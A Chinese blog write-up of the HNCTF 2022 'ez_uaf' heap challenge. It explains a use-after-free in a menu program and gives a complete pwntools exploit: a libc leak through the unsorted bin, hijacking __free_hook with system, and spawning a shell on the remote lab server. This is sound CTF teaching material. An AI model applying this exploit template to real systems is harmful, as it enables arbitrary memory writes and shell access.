【PWN · heap | UAF】[HNCTF 2022 WEEK4]ez_uaf

文章描述了一种利用UAF(UseAfterFree)漏洞的内存安全问题,通过精心构造内存分配顺序,实现了对后续内存区域的控制,从而实现任意地址读写和系统调用。作者通过示例和解题步骤详细展示了如何构造payload和利用过程。
摘要由CSDN通过智能技术生成

简单的、可当作模板题练习的UAF。甚至我都没过多调试,通过画图就解决了大部分问题


前言

UAF释放后重用,常见于free指针后指针未置Nullptr。

这就导致了原本的功能块还可以使用,而新分配的功能块又附加了额外的功能。利用就在此产生。


一、题目简述

还是经典的菜单题

要知道堆分配后(往往是结构体)的布局是怎么样的,一般add就可以看的很清楚

看看show函数

看看edit函数

看看delete函数

总结如下:结构体中具有一个具备读写权限的指针,而且存在UAF漏洞。如果我们利用漏洞能够控制该指针,就获得了任意地址读写的权柄(权柄两个字听起来很牛,最近在追诡秘) 

二、解题步骤分析

我们这次倒着来分析:

  1. getshell有多种方法,如,gadget链、got表劫持、hook函数等
  2. 这里有一个读写权限的指针,假设能够任意指定这个指针的数值(指向的地址),那么got表劫持和hook函数都是不错的方案。以劫持_free_hook为例。
  3. 如何劫持这个指针?或许我们可以利用UAF。考虑到tcache先入后出、后入先出的“倒转”特性,以及结构体与堆动态分配内存的构成关系——是否可以通过精心构造出入free-malloc顺序,使得重新malloc的、作为content的chunk,因UAF在另一个结构体关系中,是具有ptr的结构体呢?

        当依次free后,(这里写错了,内容域为0x20,chunk大小0x30)tcache中:

                 当我们add时,如果content的size刚好能分配0x20内容域(chunk大小0x30),那么原本作为结构体的chunk就被分为了content,而这里是UAF,相当于之前的身份还能被使用。语文不好,解释不清,上图:

因此,如果说5号结构体的ptr域是一个笔,是目光,那么通过6就能够修改这支笔写的位置、修改目光看去的方向——通过6来edit 5,实现“任意位置”;通过5来edit内容,实现“读和写”。因此,我们实际构成了这样一个链表:6->5->content,实现任意位置读写。

三、EXP 

from pwn import *
from pwn import u64,p64
context(arch='amd64',log_level='debug')

# size,name,content
def add(size,name,content):
    io.recvuntil(b'Choice: \n')
    io.sendline(b'1')
    io.sendlineafter(b'Size:\n',str(size).encode())
    io.sendlineafter(b'Name: \n',name)
    io.sendlineafter(b'Content:\n',content)

def delete(id):
    io.recvuntil(b'Choice: \n')
    io.sendline(b'2')
    io.sendlineafter(b'idx:\n',str(id).encode())

def show(id):
    io.recvuntil(b'Choice: \n')
    io.sendline(b'3')
    io.sendlineafter(b'idx:\n',str(id).encode())


def edit(id,payload):
    io.recvuntil(b'Choice: \n')
    io.sendline(b'4')
    io.sendlineafter(b'idx:\n',str(id).encode())
    io.send(payload)

# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28654)
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
if input()!='':
    gdb.attach(io);input()
# test
'''
add(10,b'aaaa',b'aaaa')
show(0)
edit(0,b'bbbb')
show(0)
delete(0)
'''

### 通过unsorted-bin-leak泄露libc
# 填充tcache
for i in range(9):
    add(0x90,b'/bin/sh\x00',b'abcd')   # 0~8
for i in range(8):
    delete(i)
# leak libc
show(7)
leak=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('leak: '+hex(leak))
main_arena=leak-96
success('main_arena: '+hex(main_arena))
libc_base=leak-0x3ebca0
success('libc: '+hex(libc_base))
input('[!]check!')

'''
0x30 [  7]: 0x55e852d8b740 —▸ 0x55e852d8b670 —▸ 0x55e852d8b5a0 —▸ 0x55e852d8b4d0 —▸ 0x55e852d8b400 —▸ 0x55e852d8b330 —▸ 0x55e852d8b260 ◂— 0x0
0xa0 [  7]: 0x55e852d8b770 —▸ 0x55e852d8b6a0 —▸ 0x55e852d8b5d0 —▸ 0x55e852d8b500 —▸ 0x55e852d8b430 —▸ 0x55e852d8b360 —▸ 0x55e852d8b290 ◂— 0x0
'''


### 通过UAF获得具有任意地址读写权限的指针
add(0x20,b'/bin/sh\x00',b'beef')       # 9
input('[!]check!')

'''
Allocated chunk | PREV_INUSE
Addr: 0x55e852d8b660
Size: 0x30 (with flag bits: 0x31)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55e852d8b690
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55e852d8b5d0

Allocated chunk | PREV_INUSE
Addr: 0x55e852d8b730
Size: 0x30 (with flag bits: 0x31)

'''

free_hook=libc.sym['__free_hook']+libc_base
edit(9,0x10*b'\x00'+p64(free_hook))
input('[!]check!')

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
 ez_uaf
'''

one_gadget=libc_base+0x10a2fc
system=libc_base+libc.sym['system']
# edit(6,p64(one_gadget))
edit(5,p64(system))

delete(9)
# add(0x10,b'aaaa',b'aaaa')
# delete(1)
# add(0x20,b'aaaa',b'aaaa')
# add(0x20,b'aaaa',b'aaaa')

io.interactive()


总结

强烈建议手动画图!以至于第一次在大致写完遇到bug后,甚至仅通过画图审计代码来修改逻辑上的问题,成功实现利用!这说明利用思路是如此清晰。

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值